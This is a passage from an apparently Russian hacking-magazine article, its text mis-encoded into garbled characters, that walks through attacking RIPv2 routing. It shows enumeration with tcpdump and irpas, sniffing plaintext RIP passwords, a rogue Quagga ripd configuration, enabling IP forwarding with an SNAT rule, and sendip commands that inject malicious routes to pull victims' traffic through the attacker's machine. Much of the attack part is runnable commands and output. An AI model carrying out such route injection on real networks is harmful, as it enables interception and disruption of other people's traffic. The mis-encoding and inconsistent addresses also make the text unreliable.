ýíóìåðàöèÿ RRIP. Íå çàáóäü äîáàâèòü îïöèþ
«-v» äëÿ äåòàëüíîãî îòîáðàæåíèÿ ñîäåðæèìîãî
ïàêåòà è îïöèþ «-s 0» — äëÿ èíòåðïðåòàöèè èìåí-
íî âñåõ äàííûõ, ñîäåðæàùèõñÿ â ïàêåòå, à íå òîëü-
êî â ïåðâûõ 68-ìè áàéòàõ (ëèñòèíã 1).

Êàê ïîêàçàë ëèñòèíã, íà àòàêóåìîé ñåòè àê-
òèâíî âåùàþò äâà ìàðøðóòèçàòîðà: 192.168.69.100
è 192.168.69.36. Ïðèòîì õîñò 192.168.69.36 óâåäîì-
ëÿåò, ÷òî îí ìîæåò ïåðåäàâàòü ïàêåòû â äâå ïîäñå-
òè êëàññà Ñ (192.168.30.0/24 è 192.168.7.0/24). Õîñò
192.168.69.100 ñêàçàë, ÷òî: 1) ÷åðåç íåãî ïðîõîäèò
ñòàíäàðòíûé ìàðøðóò 0.0.0.0/0; 2) îí ìîæåò ïåðåäà-
âàòü ïàêåòû â íåêîòîðûå ñåòè (192.168.0.1/32, 192.168.
1.0/24, 192.168.10.0/24 è 192.168.11.0/24); 3) ïàêåòû,
àäðåñîâàííûå â ñåòü 192.168.15.0/24, äîëæíû àä-
ðåñîâàòüñÿ ÷åðåç ìàðøðóòèçàòîð 192.168.69.110.
Ìàðøðóò â ñåòü 192.168.15.0/24 èäåò ÷åðåç äðóãîé
õîñò, ýòî îçíà÷àåò îäíî èç äâóõ: 1) ìàðøðóò ïðîïèñàí
ñòàòè÷åñêè; 2) ìàðøðóòèçàòîð 192.168.69.110 âðó÷-
íóþ íàñòðîåí íà îïîâåùåíèå òîëüêî îäíîãî ñîñåäà.

Ñòàíäàðòíîå îïîâåùåíèå ñîñåäåé ïðîèñõîäèò
êàæäûå 30 ñåêóíä, õîòÿ âðåìåííîé èíòåðâàë îïîâå-
ùåíèÿ ìîæåò çàâèñåòü îò óñòàíîâîê êàæäîãî èíäèâè-
äóàëüíîãî ìàðøðóòèçàòîðà. Íåêîòîðûå ìàðøðóòèçà-
òîðû ìîãóò íàõîäèòüñÿ â òàê íàçûâàåìîì «ïàññèâíîì
ðåæèìå» (óñòàíàâëèâàåòñÿ êîìàíäîé «passive-inter-
face <èìÿ èíòåðôåéñà>» íà îïðåäåëåííûé èíòåð-
ôåéñ). Â òàêîì ñëó÷àå ìàðøðóòèçàòîð íà äàííîì
èíòåðôåéñå áóäåò ïðèíèìàòü îïîâåùåíèÿ îò ñîñåäåé
è ìåíÿòü ñâîþ òàáëèöó ìàðøðóòèçàöèè, íî íå áóäåò
îïîâåùàòü î ñâîèõ èëè î âûó÷åííûõ ìàðøðóòàõ.

Äëÿ ýíóìåðàöèè ñåòè, îñîáåííî åñëè â íåé ïðè-
ñóòñòâóåò ìíîæåñòâî àêòèâíûõ ìàðøðóòèçàòîðîâ,
óäîáíåå èñïîëüçîâàòü ïðîãðàììó ass èç irpas —
ñáîðíèêà óòèëèò, ðàçðàáîòàííûõ FX èç êîìàíäû
Phenoelit. Ïîñëå çàïóñêà óòèëèòà ïåðåõîäèò â ïàññèâ-
íûé ðåæèì ñêàíèðîâàíèÿ, òàê ÷òî, êîãäà èñòå÷åò çà-
äàííîå (àòàêóþùèì) âðåìÿ, îí ïðåðâåò ïðîãðàììó
êîìàíäîé <Ctrl>+<C> è ïðîàíàëèçèðóåò ðåçóëüòàò
(ëèñòèíã 1).

Êàê ïðîäåìîíñòðèðîâàë ëèñòèíã 2, ass âûäàåò
òå æå ðåçóëüòàòû, ÷òî è tcpdump. Åäèíñòâåííîå îòëè-
÷èå — ýòî âèçóàëüíîå îòîáðàæåíèå èíôîðìàöèè è
òî, ÷òî ass äîïîëíèòåëüíî îïðåäåëèë, ÷òî èñïîëüçó-
åòñÿ RIP âòîðîé âåðñèè áåç àóòåíòèôèêàöèè. Âïðî-
÷åì, âîçìîæíîñòè óòèëèòû ãîðàçäî øèðå: ïîääåðæè-
âàåòñÿ àíàëèç è äðóãèõ ïðîòîêîëîâ ìàðøðóòèçàöèè,
òàêèõ êàê IRDP, IGRP è EIGRP. Êîãäà âðåìÿ îïîâåùå-
íèÿ èçìåíåíî âðó÷íóþ äî êàêîãî-òî î÷åíü ñïåöèôè÷-
íîãî è áîëüøîãî çíà÷åíèÿ èëè êîãäà íå õî÷åòñÿ

æäàòü ñòàíäàðòíîãî ïàêåòà îïîâåùåíèÿ, ìîæíî ïîñ-
ëàòü ñïåöèàëüíî ñêîíñòðóèðîâàííûé çàïðîñ íà àäðåñ
ìíîãîâåùàòåëüíîé ðàññûëêè (224.0.0.9). Ìàðøðóòè-
çàòîðû â îòâåò îòîøëþò ñâîþ òàáëèöó ìàðøðóòîâ.

Îòâåò ììàðøðóòèçàòîðà
Routing Information Protocol

Command: Request (1)

Version: RIPv2 (2)

Routing Domain: 0

Address not specified, Metric: 16

Address Family: Unspecified (0)

Route Tag: 0

Netmask: 0.0.0.0 (0.0.0.0)

Next Hop: 0.0.0.0 (0.0.0.0)

Metric: 16 

×àñòî îïîâåùåíèÿ îò ìàðøðóòèçàòîðîâ íå äîõîäÿò
äî ïðîñòûõ ïîëüçîâàòåëåé, îñîáåííî åñëè ãðàìîò-

20 | ËÀÁÎÐÀÒÎÐÈß ÂÇËÎÌÀ

ëëèèññòòèèííããèè

Ëèñòèíã 11
arhontus / # tcpdump -n -i eth0 host 224.0.0.9 -v -s 0

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

20:58:50.840710 IP (tos 0xc0, ttl 1, id 0, offset 0, flags [none], proto: UDP

(17), length: 72) 192.168.69.36.520 > 224.0.0.9.520:

RIPv2, Response, length: 44, routes: 2

AFI: IPv4: 192.168.30.0/24, tag 0x0000, metric: 1, next-hop: self

AFI: IPv4: 192.168.7.0/24, tag 0x0000, metric: 1, next-hop: self

20:58:53.291412 IP (tos 0x0, ttl 1, id 0, offset 0, flags [DF], proto: UDP 

(17), length: 232) 192.168.69.100.520 > 224.0.0.9.520:

RIPv2, Response, length: 204, routes: 10

AFI: IPv4: 0.0.0.0/0 , tag 0x0000, metric: 1, next-hop: self

AFI: IPv4: 192.168.0.1/32, tag 0x0000, metric: 1, next-hop: self

AFI: IPv4: 192.168.1.0/24, tag 0x0000, metric: 1, next-hop: self

AFI: IPv4: 192.168.10.0/24, tag 0x0000, metric: 1, next-hop: self

AFI: IPv4: 192.168.11.0/24, tag 0x0000, metric: 1, next-hop: self

AFI: IPv4: 192.168.15.0/24, tag 0x0000, metric: 1, next-hop: 192.168.69.110

Ëèñòèíã 22
arhontus irpas # ./ass -v -i eth0

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>

Phenoelit (www.phenoelit.de)

IRPAS build XXXIX

passive listen ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.69.100 (RIPv2)

RIP2 [ n/a ] 0.0.0.0 /0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1 /255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.1.0 /255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.10.0 /255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.11.0 /255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.15.0 /255.255.255.0, next: 192.168.69.110

(tag 0, mtr 1)

Router 192.168.69.36 (RIPv2)

RIP2 [ n/a ] 192.168.30.0 /255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.7.0 /255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

*** glibc detected *** double free or corruption (!prev): 0x0805c218 ***

Aborted



íûé ñèñòåìíûé àäìèíèñòðàòîð óñòàíîâèë ôèëüòðà-
öèþ ðàññûëêè ìíîãîàäðåñíûõ àäðåñîâ íà ïîðòàõ
êîììóòàòîðà. Ïîñëå ïîñûëêè çàïðîñà îòâåò ñ òàáëè-
öåé ìàðøðóòèçàöèè ïðèõîäèò íà àäðåñ ïîñûëàþùå-
ãî. Áëàãîäàðÿ RIP-çàïðîñàì òû îáõîäèøü ýòî îãðàíè-
÷åíèå è ïîëó÷àåøü èíôîðìàöèþ, ñîäåðæàùóþñÿ â
îáíîâëåíèÿõ. Ñíà÷àëà ïðèäåòñÿ ðàáîòàòü âñëåïóþ,
íî íà òî, ÷òîáû ïîñëàòü çàïðîñ íà êîíêðåòíûé àäðåñ
êàæäîé ìàøèíû â ËÂÑ, íå òðåáóåòñÿ ìíîãî âðåìåíè.

àóòåíòèôèêàöèÿ RRIP. Êîãäà âûøëà âòîðàÿ
âåðñèÿ ïðîòîêîëà RIP, æèçíü ñèñòåìíûõ àäìèíè-
ñòðàòîðîâ îáëåã÷èëàñü åå íîâîé äîïîëíèòåëüíîé

âîçìîæíîñòüþ — ôóíêöèåé àóòåíòèôèêàöèè ìàðø-
ðóòèçàòîðà, ïîñûëàþùåãî îáíîâëåíèÿ. Âåðíåå, äàæå
íå ñàìîãî ìàðøðóòèçàòîðà, à ïàêåòà îáíîâëåíèÿ. Íà
äàííûé ìîìåíò ñóùåñòâóåò äâà âîïëîùåíèÿ àóòåíòè-
ôèêàöèè: «íåçàøèôðîâàííûé òåêñò» è «MD5». Â ñëó-
÷àå ñ íåçàøèôðîâàííûì òåêñòîì êëþ÷ íàõîäèòñÿ â
îäíîì èç ïîëåé RIP-ïàêåòà, è àòàêóþùèé áåç òðóäà
èäåíòèôèöèðóåò ýòîò êëþ÷, ïðîàíàëèçèðîâàâ ïåðåõ-
âà÷åííûé ïàêåò ïðîãðàììîé tcpdump èëè tethereal.

ëîæíîå ïïðåäñòàâëåíèå îî ççàùèùåííîñòè ññèñòåìû
ìàðøðóòèçàöèè
Routing Information Protocol

Command: Response (2)

Version: RIPv2 (2)

Routing Domain: 0

Authentication: Simple Password

Authentication type: Simple Password (2)

Password: 123456

IP Address: 192.168.30.0, Metric: 1

Address Family: IP (2)

Route Tag: 0

IP Address: 192.168.30.0 (192.168.30.0)

Netmask: 255.255.255.0 (255.255.255.0)

Next Hop: 0.0.0.0 (0.0.0.0)

Metric: 1

Ñ àóòåíòèôèêàöèåé ïàêåòà ïî àëãîðèòìó MD5
ñëîæíåå — ñàì êëþ÷ íå ïåðåäàåòñÿ â ÷èñòîì âèäå.
Âìåñòî ýòîãî çàíîñÿòñÿ àóòåíòèôèêàöèîííûå äàí-
íûå ïàêåòà, ñîñòàâëåííûå ïðè ïîìîùè MD5-àëãî-
ðèòìà (ïîäðîáíåå â RFC-1321 è RFC-2082).

çàãîëîâîê RRIP-ïïàêåòà òòåïåðü òòàêîé
Routing Information Protocol

Command: Response (2)

Version: RIPv2 (2)

Routing Domain: 0

Authentication: Keyed Message Digest

Authentication type: Keyed Message 

Digest (3)

Digest Offset: 44

Key ID: 1

Auth Data Len: 20

Seq num: 68

Zero Padding

Authentication Data Trailer

Authentication Data: 08 10 7d 4c f7 

46 c3 79 61 84 d3 21 d8 2c b0 e3

IP Address: 192.168.30.0, Metric: 1

Address Family: IP (2)

Route Tag: 0

IP Address: 192.168.30.0 (192.168.30.0)

Netmask: 255.255.255.0 (255.255.255.0)

Next Hop: 0.0.0.0 (0.0.0.0)

Metric: 1

Íåñìîòðÿ íà ïðèñóòñòâèå àóòåíòèôèêàöèè, àòàêóþ-
ùèé ìîæåò ïîëó÷èòü äàííûå î ñîñòîÿíèè ìàðøðó-
òîâ, ïðîàíàëèçèðîâàâ ïåðåõâà÷åííûå äàííûå. Íî
îí íèêàê íå ñìîæåò ïîñûëàòü ñïåöèàëüíûå çàïðîñû,
÷òîáû ïîëó÷èòü òàáëèöû ìàðøðóòèçàöèè, òàê êàê
ìàðøðóòèçàòîð ïðîñòî ïðîèãíîðèðóåò íåïðàâèëüíî
àóòåíòèôèöèðîâàííûé çàïðîñ. Íà ñåãîäíÿ ïîñûëàòü
ñïåöèàëüíûå RIP-ïàêåòû, íåñóùèå àóòåíòèôèêà-
öèþ, óìååò òîëüêî îäíà óòèëèòà — sendip. Ïðàâäà,
îíà ðàáîòàåò êðèâî è êîâåðêàåò ñîäåðæèìîå.

Åñòü âàðèàíò ïîñûëàòü òàêèå ïàêåòû óñòà-
íîâêîé ïàêåòà ìàðøðóòèçàöèè Quagga, èñïîëüçóÿ
ïðîãðàììó ìîäèôèêàöèè ïàêåòîâ â pcap-ôîðìàòå
NetDude èëè hexeditor. Íåçàâèñèìî îò òîãî, êàêîé
óòèëèòîé òû áóäåøü ïîëüçîâàòüñÿ äëÿ ñîçäàíèÿ
ïðîèçâîëüíûõ ïàêåòîâ, íóæíî ïîëó÷èòü çíà÷åíèå
êëþ÷à, ÷òîáû ïàêåò áûë ïðèíÿò ìàðøðóòèçàòîðîì.

óñòàíîâêà ììàðøðóòèçàòîðà ííà LLinux. Ïðåæäå
÷åì ïåðåéòè ê ïðàêòè÷åñêîé ÷àñòè, ïîñìîòðèì ïðè-
ìåð óñòàíîâêè è êîíôèãóðàöèè ïàêåòà ìàðøðóòè-
çàöèè ñ îòêðûòûì êîäîì Quagga (www.quagga.net).
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îïöèè ssendip, îîòíîñÿùèåñÿ êê ããåíåðàöèè RRIP-ïïàêåòîâ
arhontus / # sendip -p rip

<SNIP>

Modules available at compile time:

ipv4 ipv6 icmp tcp udp bgp rip ntp

Arguments for module rip:

-rv x RIP version

Default: 2

-rc x RIP command (1=request, 2=response, 3=traceon (obsolete), 4=traceoff (obsolete), 5=poll (undocumented), 

6=poll entry (undocumented)

Default: 1

-re x Add a RIP entry. Format is: Address family:route tag:address:subnet mask:next hop:metric

Default: 2:0:0.0.0.0:255.255.255.0:0.0.0.0:16, any option my be left out to use the default

-ra x RIP authenticat packet, argument is the password; do not use any other RIP options on this RIP header

-rd RIP default request — get router's entire routing table; do not use any other RIP options on this RIP header

ãåíåðàöèÿ ïïàêåòà ççàïðîñà èè ïïåðåõâàò îîòâåòà ((îáà ììàðøðóòèçàòîðà ïïåðåñëàëè ññâîþ òòàáëèöó ììàðøðóòèçàöèè)
arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -rv 2 -rc 1 -re 0:0:0:0:0:16 224.0.0.9

arhontus / # tcpdump -n -i eth0 port 520 and host 192.168.69.102 -s 0

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

00:27:35.936128 IP 192.168.69.102.520 > 224.0.0.9.520: RIPv2, Request, length: 24

00:27:35.936512 IP 192.168.69.100.520 > 192.168.66.102.520: RIPv2, Response, length: 204

00:27:35.942534 IP 192.168.66.36.520 > 192.168.66.102.520: RIPv2, Response, length: 44 



Ïðàêòè÷åñêè ëþáîé ñîâðåìåííûé äèñòðèáóòèâ
Linux ïîääåðæèâàåò Quagga, ïðîùå âñåãî óñòàíî-
âèòü åå èç ñèñòåìû óïðàâëåíèÿ ïàêåòàìè äèñòðè-
áóòèâà, íî ìîæåøü ñîáðàòü è âðó÷íóþ — Quagga
(ñóäÿ ïî ìîåìó îïûòó) ñîáèðàåòñÿ èç èñõîäíèêîâ
áåç îñîáûõ ïðîáëåì íà ðàçëè÷íûõ ñèñòåìàõ, â òîì
÷èñëå íà Solaris è BSD.

äëÿ ññáîðêè ïïàêåòà èèñïîëüçóé ññòàíäàðòíóþ ïïðàêòèêó
arhontus quagga # ./configure && make 

&& make install

Ïîñëå óñòàíîâêè íåîáõîäèìûå íà÷àëüíûå ôàéëû
êîíôèãóðàöèè îáû÷íî íàõîäÿòñÿ â /etc/quagga/.
Åñëè ïîíàäîáèòñÿ, ñîçäàé íîâûå èëè èçìåíè êîí-
ôèãóðàöèîííûå ôàéëû ïðèìåðîâ è çàïóñêàé íåîá-
õîäèìûå äåìîíû. Ïîñëå çàïóñêà telnet ïîçâîëèò
çàéòè íà èíòåðôåéñ óïðàâëåíèÿ äåìîíîì ìàðøðó-
òèçàöèè (RIP-äåìîí ñëóøàåò íà ïîðòó 2602), êîòî-

ðûé ïðàêòè÷åñêè òî÷íî ïîâòîðèò èíòåðôåéñ êîí-
ôèãóðàöèè Cisco IOS.

ïðèìåð êêîíôèãóðàöèè ääåìîíà RRIP
hostname rogue.ripd

password 8 jhNan2ucC95.g

enable password 8 Ca/yaFGI.I2h

log file /var/log/quagga/ripd.log

service advanced-vty

service password-encryption

!

key chain dmz_auth

key 1

key-string 123456

!

interface eth0

description DMZ_network

ip rip authentication mode md5

ip rip authentication key-chain dmz_auth

!

router rip

version 2

redistribute connected

redistribute static

network 192.168.69.0/24

!

line vty

exec-timeout 30 0

!

Îäíà èç êîìàíä, êîòîðàÿ îòñóòñòâóåò â IOS, íî áó-
äåò î÷åíü ïîëåçíà äëÿ ââîäà ìàðøðóòîâ ÷åðåç
Quagga, — êàê íè ñòðàííî, route xxx.xxx.xxx.xxx/yy,
êîòîðàÿ ïîçâîëÿåò âêëþ÷àòü åãî â ïàêåò îáíîâëå-
íèÿ RIP íå ñîçäàâàÿ ìàðøðóò â Kernel.

ââåäåíèå ççëîâðåäíûõ ììàðøðóòîâ ââ RRIP. Îñ-
íîâíàÿ öåëü çëîóìûøëåííèêà — íå ïðîñòî ïåðå-
âåñòè òðàôèê â òàê íàçûâàåìóþ «÷åðíóþ äûðó» è
ïðåðâàòü ñîîáùåíèå ìåæäó ñåòÿì, à â ïåðâóþ î÷å-
ðåäü ïåðåâåñòè òðàôèê ÷åðåç ñâîþ ìàøèíó, ÷òîáû
èçâëå÷ü «ïîëåçíóþ» èíôîðìàöèþ. Ñîîòâåòñòâåí-
íî, íåîáõîäèìà ïîäãîòîâêà äëÿ áåñïðåïÿòñòâåí-
íîé ìàðøðóòèçàöèè ÷åðåç ñâîé õîñò, äëÿ ÷åãî
âêëþ÷àåòñÿ ïîääåðæêà ìàðøðóòèçàöèè â Kernel
(îíà âûïîëíÿåòñÿ ÷åðåç /proc-èíòåðôåéñ).

âêëþ÷åíèå ïïîääåðæêè ììàðøðóòèçàöèè
arhontus / # echo 1 > 

/proc/sys/net/ipv4/ip_forward

óäîñòîâåðÿåìñÿ, ÷÷òî ììàðøðóòèçàöèÿ òòàêæå ððàçðå-
øåíà ââ iiptables
arhontus / # iptables -L FORWARD

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Ìîæíî ðàçðåøèòü ìàðøðóòèçàöèþ òîëüêî ñ îïðåäå-
ëåííîé ñåòè è ïðîïèñàòü ïîëèòèêó ïî óìîë÷àíèþ íà
DROP, ÷òî ïîçâîëèò îòáðîñèòü âåñü íåíóæíûé òðà-
ôèê è îãðàíè÷èòü çàãðóæåííîñòü êàíàëà. Ìîãóò ñëî-
æèòüñÿ òàêèå ñèòóàöèè, êîãäà òû íàõîäèøüñÿ â òîé æå
ïîäñåòè, ÷òî è ëåãèòèìíûé ìàðøðóòèçàòîð, ÷åðåç êî-
òîðûé îñóùåñòâëÿåòñÿ ïåðåäà÷à òðàôèêà. Åñëè ïåðå-
âåñòè ïîòîê äàííûõ ÷åðåç ïèðàòñêèé ìàðøðóòèçàòîð
(ââîäèøü çëîâðåäíûé ìàðøðóò, ÷òîáû ïîòîì ïåðå-
äàòü åãî ëåãèòèìíîìó ìàðøðóòèçàòîðó), îáðàòíûé
òðàôèê áóäåò îòäàâàòüñÿ ñ ëåãèòèìíîãî ìàðøðóòèçà-
òîðà ñîãëàñíî åãî òàáëèöå ìàðøðóòèçàöèè, ìèíóÿ òå-
áÿ. ×òî äåëàòü? Îäèí èç ñïàñèòåëüíûõ âàðèàíòîâ —
ââåñòè äâà çëîâðåäíûõ ìàðøðóòà äëÿ êàæäîãî èç ëå-
ãèòèìíûõ ìàðøðóòèçàòîðîâ, ãäå òâîé õîñò âûñòóïàåò
â êà÷åñòâå ñëåäóþùåãî óçëà äëÿ êàæäîé èç ïîäñåòåé.
Âòîðîé âàðèàíò ñïàñåíèÿ îò ïðîáëåìû — òðàíñëÿöèÿ
ñåòåâûõ àäðåñîâ è ïîäìåíà àäðåñà îðèãèíàòîðà íà
òâîé, îïÿòü æå ïðè ïîìîùè êîìàíäû iptables.

ïîäìåíà ààäðåñà îîðèãèíàòîðà
arhontus / # iptables -t nat -A 

POSTROUITING-o eth0 -s $victim_IP-j 

SNAT –to-source $your_IP
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ÀÀÄÄÌÌÈÈÍÍÈÈÑÑÒÒÐÐÀÀÒÒÈÈÂÂÍÍÀÀßß ÄÄÈÈÑÑÒÒÀÀÍÍÖÖÈÈßß.. ÏÐÀÊÒÈ×ÅÑÊÈ Â ËÞÁÛÕ IP-ÑÅÒßÕ ÒÛ ÂÑÒÐÅÒÈØÜ ÊÀÊ
ÌÈÍÈÌÓÌ ÄÂÀ ÒÈÏÀ ÌÀÐØÐÓÒÎÂ: ÏÎÄÑÎÅÄÈÍÅÍÍÛÅ È ÑÒÀÒÈ×ÅÑÊÈÅ. Â ÁÎËÅÅ ÊÐÓÏÍÛÕ
ÑÅÒßÕ, ÃÄÅ ÈÑÏÎËÜÇÓÞÒÑß ÏÐÎÒÎÊÎËÛ ÌÀÐØÐÓÒÈÇÀÖÈÈ, ÏÎßÂËßÞÒÑß ÄÈÍÀÌÈ×ÅÑ-
ÊÈÅ ÌÀÐØÐÓÒÛ, ÏÐÈ×ÅÌ ÈÇ ÐÀÇÍÛÕ ÏÐÎÒÎÊÎËÎÂ ÌÀÐØÐÓÒÈÇÀÖÈÈ. ÊÀÊÎÉ ÌÀÐØÐÓÒ
ßÂËßÅÒÑß ÁÎËÅÅ ÄÎÂÅÐÈÒÅËÜÍÛÌ, À ÑÎÎÒÂÅÒÑÒÂÅÍÍÎ, ÏÐÅÄÏÎ×ÒÈÒÅËÜÍÛÌ ÏÐÈ ÏÐÈ-
ÍßÒÈÈ ÐÅØÅÍÈß Î ÌÀÐØÐÓÒÈÇÀÖÈÈ? ÇÄÅÑÜ È ÏÎÍÀÄÎÁÈÒÑß ÇÍÀ×ÅÍÈÅ ÀÄÌÈÍÈÑÒÐÀ-
ÒÈÂÍÎÉ ÄÈÑÒÀÍÖÈÈ, ÇÀÂÈÑßÙÅÅ ÎÒ ÒÎÃÎ, ÊÀÊ ÌÀÐØÐÓÒÈÇÀÒÎÐ ÂÛÓ×ÈË ÌÀÐØÐÓÒ.

ÀÄÌÈÍÈÑÒÐÀÒÈÂÍÀß ÄÈÑÒÀÍÖÈß ÍÅ ÌÎÆÅÒ ÁÛÒÜ ÈÇÌÅÍÅÍÀ Ñ ÓÄÀËÅÍÍÎÉ ÌÀØÈÍÛ 
È ÓÑÒÀÍÀÂËÈÂÀÅÒÑß ÍÀ ÑÀÌÎÌ ÌÀÐØÐÓÒÈÇÀÒÎÐÅ. ÒÀÊ ×ÒÎ ÅÄÈÍÑÒÂÅÍÍÛÉ ÑÏÎÑÎÁ
ÏÎÏÛÒÀÒÜÑß ÈÇÌÅÍÈÒÜ ÒÀÁËÈÖÓ ÌÀÐØÐÓÒÈÇÀÖÈÈ — ÏÎÌÅÍßÒÜ ÅÅ ÒÀÊÈÌ ÎÁÐÀÇÎÌ,
×ÒÎÁÛ ÌÀÐØÐÓÒ ÈÌÅË ÌÅÍÜØÓÞ ÌÅÒÐÈÊÓ. ÏÎ ÓÌÎË×ÀÍÈÞ ÂÑÅ ÏÓÒÈ, ÂÛÓ×ÅÍÍÛÅ ×Å-
ÐÅÇ RIP, ÈÌÅÞÒ ÌÅÒÐÈÊÓ ÊÀÊ ÌÈÍÈÌÓÌ 1, ×ÒÎ, Â ÏÐÈÍÖÈÏÅ, ËÎÃÈ×ÍÎ. ÄÀÆÅ ÅÑËÈ ÌÛ
ÏÐÎÏÈØÅÌ Â ÑÂÎÅÌ ÏÀÊÅÒÅ ÌÅÒÐÈÊÓ ÏÓÒÈ, ÐÀÂÍÓÞ 0, ÏÎËÓ×ÀÅÌÛÉ ÌÀÐØÐÓÒÈÇÀÒÎÐ
ÈÍÒÅÐÏÐÅÒÈÐÓÅÒ ÅÅ ÊÀÊ 1. Â ÑÈÒÓÀÖÈÈ, ÊÎÃÄÀ ÌÅÒÐÈÊÀ ÏÓÁËÈÊÓÅÌÎÃÎ ÌÀÐØÐÓÒÀ
ÁÎËÜØÅ, ×ÅÌ 1, ÌÛ Ñ ËÅÃÊÎÑÒÜÞ ÌÎÆÅÌ ÂÍÅÄÐÈÒÜ ÑÂÎÉ ÌÀÐØÐÓÒ, ÌÅÒÐÈÊÀ ÊÎÒÎ-
ÐÎÃÎ ÌÅÍÜØÅ ÈËÈ ÐÀÂÍßÅÒÑß 1 È ÊÎÒÎÐÛÉ ÁÓÄÅÒ ÈÌÅÒÜ ÁÎËÅÅ ÂÛÑÎÊÈÉ ÏÐÈÎÐÈ-
ÒÅÒ. ÅÑËÈ ÌÅÒÐÈÊÀ ËÅÃÈÒÈÌÍÎÃÎ ÌÀÐØÐÓÒÀ È ÁÅÇ ÒÎÃÎ ÈÌÅÅÒ ÌÈÍÈÌÀËÜÍÎÅ ÂÎÇ-
ÌÎÆÍÎÅ ÇÍÀ×ÅÍÈÅ, ÏÐÈÄÅÒÑß ÏÎÌÅÍßÒÜ ÅÅ ÍÀ ÁÎËÅÅ ÂÛÑÎÊÓÞ È ÎÏÎÂÅÑÒÈÒÜ
ÌÀÐØÐÓÒÈÇÀÒÎÐ Î ÑÂÎÅÌ ÁÎËÅÅ ÏÐÅÄÏÎ×ÒÈÒÅËÜÍÎÌ ÏÓÒÈ.

Îñíîâíûå ññâåäåíèÿ îî ññòàíäàðòíûõ ççíà÷åíèÿõ ààäìèíèñòðàòèâíîé ääèñòàíöèè 
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ïîäñîåäèíåííûé 0

ñòàòè÷íûé 1
âíåøíèé BGP 20
âíóòðåííèé EIGRP 90
IGRP 100
OSPF 110
IS-IS 115
RIP 120
âíåøíèé EIGRP 170
âíóòðåííèé BGP 200
íåèçâåñòíûé 255



ýêñïåðèìåíò
Ïðàêòè÷åñêàÿ ÷àñòü, ñàìàÿ èíòåðåñíàÿ è äîëãîæäàí-
íàÿ :). Â ñëåäóþùèõ ïðèìåðàõ àóòåíòèôèêàöèÿ áóäåò
âûêëþ÷åíà, òàê êàê îñíîâíàÿ çàäà÷à ýòîãî ïðèìå-
ðà — ïîêàçàòü ïðèíöèïû ââåäåíèÿ çëîâðåäíûõ
ìàðøðóòîâ è èçìåíåíèÿ òàáëèöû ìàðøðóòèçàöèè. 

ââåäåíèå ïïðîèçâîëüíîãî ììàðøðóòà. Ïðè ïî-
ìîùè óòèëèòû sendip èçìåíèì òàáëèöó ìàðøðóòè-
çàöèè è äîáàâèì ìàðøðóò, ïðîõîäÿùèé ÷åðåç íàø
ìàðøðóòèçàòîð íà ñåòü 192.168.50.0/24.

èçìåíåíèå ììåòðèêè ììàðøðóòà ííà ììåíüøåå
çíà÷åíèå. Òåïåðü èçìåíèì îäèí èç ñóùåñòâóþùèõ
ìàðøðóòîâ, î êîòîðûõ îïîâåùàåò ìàðøðóòèçàòîð
Ì1. Âîçüìåì äëÿ ïðèìåðà 192.168.10.0/24.

192.168.10.0/24
÷åðåç 192.168.69.2

192.168.10.0/24

0.0.0.0/0
÷åðåç 192.168.69.1

0.0.0.0/0

M1
192.168.69.1

M2
192.168.69.2

òàáëèöà ììàðøðóòèçàöèè õõîñòà MM1
C 192.168.0.1/32 is directly connected, Serial0

C 192.168.1.0/24 is directly connected, Serial0

C 192.168.10.0/24 is directly connected, Serial0

C 192.168.11.0/24 is directly connected, Serial0

R 192.168.30.0/24 [120/1] via 192.168.69.36, 00:00:01, Ethernet0

R 192.168.7.0/24 [120/1] via 192.168.69.36, 00:00:01, Ethernet0

S 192.168.15.0/24 [1/0] via 192.168.69.110

S* 0.0.0.0/0 [1/0] via 192.168.0.1

òàáëèöà ììàðøðóòèçàöèè õõîñòà MM2
C 192.168.30.0/24 is directly connected, Serial0

C 192.168.7.0/24 is directly connected, Serial0

R 192.168.10.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

R 192.168.11.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

R 192.168.15.0/24 [120/1] via 192.168.69.110, 00:00:01, Ethernet0

192.168.0.0/32 is subnetted, 1 subnets

R 192.168.0.1 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

R 192.168.1.0/24 [120/1] via 192.168.69.100, 00:00:01, Ethernet0

R* 0.0.0.0/0 [120/1] via 192.168.69.100, 00:00:02, Ethernet0

òàáëèöà ììàðøðóòîâ èèçìåíèëàñü èè òòåïåðü ââêëþ÷àåò ââñòàâëåííûé ììàðøðóò
arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -

rv 2 -rc 2 -re 2:0:192.168.50.0:255.255.255.0:192.168.69.102:1 192.168.69.36

R 192.168.50.0/24 [120/1] via 192.168.66.102, 00:00:06, Ethernet0

÷òîáû èèçáåæàòü ïïðåðûâàíèÿ ññîîáùåíèÿ, âââîäèì ññâîé ììàðøðóò
arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -

rv 2 -rc 2 -re 2:0:192.168.10.0:255.255.255.0:192.168.69.102:1 192.168.69.36

èçìåíåííàÿ òòàáëèöà ììàðøðóòèçàöèè ííà õõîñòå ÌÌ2
R 192.168.10.0/24 [120/1] via 192.168.69.100, 00:00:15, Ethernet0 [120/1] 

via 192.168.69.102, 00:00:01, Ethernet0

arhontus / # sendip -p ipv4 -is 192.168.69.100 -p udp -us 520 -ud 520 -p rip -

rv 2 -rc 2 -re 2:0:192.168.10.0:255.255.255.0:192.168.69.100:2 192.168.66.36

